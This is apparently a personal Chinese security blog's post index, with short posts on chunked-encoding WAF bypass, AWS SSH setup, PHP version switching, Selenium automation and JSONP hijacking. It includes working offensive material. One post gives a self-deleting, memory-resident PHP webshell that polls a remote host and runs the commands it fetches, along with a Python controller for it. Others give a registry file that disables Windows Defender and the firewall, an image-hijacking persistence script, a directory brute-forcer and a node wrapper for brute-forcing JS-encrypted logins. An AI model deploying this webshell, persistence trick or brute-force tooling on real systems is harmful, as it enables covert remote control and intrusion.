• Home

  • Archives

分块传输

Posted on 2019-01-18 |
最近在freebuf上看到有利用分块传输绕过waf的文章,然后就学习了一下什么是分块传输。

首先给出分块传输的维基百科定义:

1
分块传输编码(Chunked transfer encoding)是超文本传输协议(HTTP)中的一种数据传输机制,允许HTTP由网页服务器发送给客户端应用( 通常是网页浏览器)的数据可以分成多个部分。分块传输编码只在HTTP协议1.1版本(HTTP/1.1)中提供。

所以我们可以看到,该定义详细说明了是只在HTTP1.1的版本中才会提供。
具体利用的话,其实也很简单
给一个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
HTTP/1.1 200 OK
Content-Type: text/plain
Transfer-Encoding: chunked

25
This is the data in the first chunk

1C
and this is the second one

3
con

8
sequence

0

其中每段上面的字符就是下面字符长度的16进制大小,解释如下:

1
2
3
4
5
6
7
前两个块的数据中包含有显式的\r\n字符。

"This is the data in the first chunk\r\n" (37 字符 => 十六进制: 0x25)
"and this is the second one\r\n" (28 字符 => 十六进制: 0x1C)
"con" (3 字符 => 十六进制: 0x03)
"sequence" (8 字符 => 十六进制: 0x08)
应答需要以0长度的块( "0\r\n\r\n".)结束。

MAC 连接AWS ES2 主机

Posted on 2018-11-28 |

注册什么的不说了,有一点注意,可能电话验证一直过不去,需要人工客服介入
然后你就可以得到一个一年的免费vps试用权。
由于aws 主机是利用证书登录的,下载的文件后缀为pem,mac的secureCRT登录的话是要用pub格式,需要用ssh-keygen转一下格式。

三条命令解决问题:

1
2
3
4
chmod 600 yangge_1.pem
ssh-keygen -p -f yangge_1.pem
ssh-keygen -e -f yangge_1.pem > yangge_1.pem.pub
注意: pub名称一定要为****.pem.pub

secureCRT配置:

-w563

一是hostname,是控制台上的公有dns地址
二是username,一般要是搭建的ubunt系统的话,就是ubuntu。

选择publickey->properties
-w783

然后就可以了。

apache下多版本php切换

Posted on 2018-09-14 |

使用update-alternatives命令选择默认版本的PHP

  • PHP 5.6
    1
    sudo update-alternatives --set php /usr/bin/php5.6
  • PHP 7.0

    1
    sudo update-alternatives --set php /usr/bin/php7.0
  • PHP 7.1

    1
    sudo update-alternatives --set php /usr/bin/php7.1
  • kail默认php7.2


要选择将与Apache一起使用的PHP版本,首先使用a2dismod命令禁用当前版本,然后使用a2enmod命令启用所需的版本:

sudo a2dismod php7.0
sudo a2enmod php7.1
sudo systemctl restart apache2

1
https://sempreupdate.com.br/como-instalar-versoes-diferentes-do-php-5-6-7-0-e-7-1-no-ubuntu/

注册表关闭Windows Defender+防火墙

Posted on 2018-08-11 |

直接上reg文件,做一个记录。

1
2
3
4
5
6
7
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\]
"DisableAntiSpyware"=dword:00000001

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile]
"EnableFirewall"=dword:00000000

关闭防火墙是下面那条,那条是不用重启就生效的。
上面那个是关闭病毒防护的,但是需要重启。

映像劫持

Posted on 2018-07-16 |

什么是映像劫持?

映像劫持(Image File Execution Options),简单的说法,就是当你打开的是程序A,而运行的确是程序B。

利用GFlages.exe来使映像劫持更好玩。
下载地址:

1
http://download.microsoft.com/download/A/6/A/A6AC035D-DA3F-4F0C-ADA4-37C8E5D34E3D/setup/WinSDKDebuggingTools_amd64/dbg_amd64.msi

用法如图

作用是关闭notepad.exe 以后自动打开calc.exe

一键添加注册表脚本:
保存为test.reg

1
2
3
4
5
6
7
8
9
10
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe]

"GlobalFlag"=dword:00000200

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe]

"MonitorProcess"="C:\\WINDOWS\\system32\\calc.exe"
"ReportingMode"=dword:00000001

还可以进行多跳操作,来隐藏真正的程序。

POC-T使用

Posted on 2018-07-11 |

今天中午偷偷和26师傅学了一招,以后写poc就不用管多线程的问题了,美滋滋~

POC-T

github: https://github.com/Xyntax/POC-T

里面已经写的很清楚了,写一个例子就好了,比如我们要写一个爆破网站目录的脚本,直接放到目录下的script中,其中定义一个poc的函数,程序就会自己调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
# -*- coding: utf-8 -*-
import requests
import codecs

def poc(dictionares):
try:
url = 'http://www.360.cn/'+dictionares
headers = {'Connection':'close'}
re = requests.head(url,headers=headers)
if(re.status_code==200):
return url
except:
return False

使用方式:

1
python POC-T.py -s scantest -t 100 -iF ~/Desktop/php.txt

-s 后面加脚本名称 -t 线程数量 -iF 加字典,完全ok

php无文件webshell

Posted on 2018-06-04 |

无文件webshell,就是执行完驻留内存中,主要是利用函数 ignore_user_abort。

webshell:

1
2
3
4
5
6
7
8
9
10
11
<?php
unlink($_SERVER['SCRIPT_FILENAME']);
ignore_user_abort(true);
set_time_limit(0);
$remote_file = 'http://192.168.192.1:8888/shell.txt';
while($code = file_get_contents($remote_file)){
exec($code);
sleep(5);
unlink('1.txt');
};
?>

我写了一个客户端,就可以直接调用了。

client

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import sys
import os
import time

sys_shell = sys.argv[1]
get_shell1 = sys.argv[2]
file = open('shell.txt','w')
sys_shell1 = sys_shell+'>1.txt'
file.write(sys_shell1)
file.close()
get_shell = "curl "+get_shell1+"/1.txt"
time.sleep(5)
dd = os.popen(get_shell).read()
while True:
if '404' in dd:
continue
else:
print(dd)
break

先在vps运行client.py

1
python client.py whoami http://2.2.2.2

然后在被控机器上运行

1
php shell.php

client.py 那个ip要和shell.php在同一个文件夹

如果想结束所有进程,只要把client下的shell.txt文件删除,或者置空就可以了。

selenium进行自动化任务

Posted on 2018-05-28 |

有些任务,我们可能必须通过人工通过浏览器来进行测试,比如有些银行的app会校验证书,而且我们抓到的包是加密过的,那么我们就只能在app的页面上做测试,但是还是有一种办法进行自动化测试,就是selennium。

python + selennium网上大量的教程,就不详细说明了,主要是对于元素的抓取上,比较麻烦,在网上查找资料找到了一个chrome插件katalon,可以帮助我们查找元素。
直接看图,就可以看出来

111.gif
。。。调了半个小时gif图,还是没法播放,想看的另存为吧。。
然后我们可以根据这些元素直接进行编写,还有一种更方便的,因为这个插件已经帮我们写好了,虽然是python2的,但是也能用。

1
2
3
4
5
6
7
def test_(self):
driver = self.driver
driver.get("https://www.baidu.com/")
driver.find_element_by_id("kw").click()
driver.find_element_by_id("kw").clear()
driver.find_element_by_id("kw").send_keys("nihao")
driver.find_element_by_id("su").click()

我们把这个函数中的代码截出来,就可以进行自己想要的操作了,比如循环什么的。

1
2
3
4
5
6
7
8
9
10
11
12
# -*- coding: utf-8 -*-
import time
from selenium import webdriver

driver = webdriver.Chrome()
driver.get("https://www.baidu.com/")
test = ['222','333','444']
for i in test:
driver.find_element_by_id("kw").click()
driver.find_element_by_id("kw").clear()
driver.find_element_by_id("kw").send_keys(i)
driver.find_element_by_id("su").click()

js加密的爆破方式

Posted on 2018-05-22 |
之前在工作中,碰到很多利用js加密的密码,然后没有验证码,我们就可以想个办法来进行加密后发包,就可以达到爆破的效果。

有几种方式是可以进行操作的:

  • 破解加密算法,逆向一个
  • 模拟加密算法自己写一个
  • 调用加密js文件

前两个有点难,而且有点麻烦,并且没有规律性,就不看了,只看最后一个。

利用nodejs来调用加密js文件,网上都写的很详细,直接粘代码记录下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
var http = require('http');  
var url = require('url');
var rsa = require('./rsa2');

function enc(pass) {
var rsapubkey="-----BEGIN PUBLIC KEY-----MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5FvP6Z/qKeOScNctnEb59A1gvRx5AZJytri9UW3ggf1fYhjZ+I8y0dwh25V45GxfbIxfNwIaYRI0vb1NpUhCUi5gry65hNkVegQh8wT0p8+vAq8JBxEKG98m/ZuVy/+jtLkH7EPtXYxz3LJrULsS8gwb4pJ9HC+DgTbUMTc17KwIDAQAB-----END PUBLIC KEY-----";
var enc = rsa(rsapubkey, pass);
return enc
}

http.createServer(function (request, response) {
var q =url.parse(request.url,true)
var pass = q.query.pass
var pass= String(pass)
response.writeHead(200, {'Content-Type': 'text/plain'});
var data = JSON.stringify(enc(pass))
response.end(data);
}).listen(8881);

console.log('Server running at http://127.0.0.1:8881/');

这样就是起了一个web服务,然后我们在发包的代码中直接调用就行了。
我们还是要能看懂些加密过程,然后利用nodejs包含进来。
比如说网站js加密的函数是这么写的。

1
2
3
4
function  any_rsa_pass(pubkey,pass){
var key = RSA.getPublicKey(pubkey);
return RSA.encrypt(pass, key);
}

那么我们就在该js文件下加入

1
module.exports = any_rsa_pass;

然后写个python,调用该js文件,发包爆破就可以了。
ps: 调试js,下载一个supervisor

jsonp劫持

Posted on 2018-05-15 |
  • jsonp主要是解决跨域的问题
  • jsonp劫持的本质是CSRF
  • 但是可能有xss问题

查找这类问题,首先要看几点

1. contant-type
  • contant-type 是否严格定义了Content-Type: application/json,如果不是,极有可能造成xss问题,有一些人可能会写成application/javascript 而这个头在 IE 等浏览器下一样可以解析 HTML 导致 XSS 漏洞
2. Referer
  • 删除referer是否可以正常访问,造成csrf漏洞,referer是否可以绕过?比如正常的referer是http://baidu.com?id=2222,如果我写成http://baidu.com.sss.com?id=2222或者http://ssss.com?baidu.com?id=2222,正则写的有问题的话,就可以绕过referer从而造成csrf。
123
yangge

yangge

一束光照进了铁塔,塔里的肮脏龌龊被显现,这束光便有了罪。

23 posts
GitHub E-Mail
© 2022 yangge
Powered by Hexo
|
Theme — NexT.Gemini v5.1.4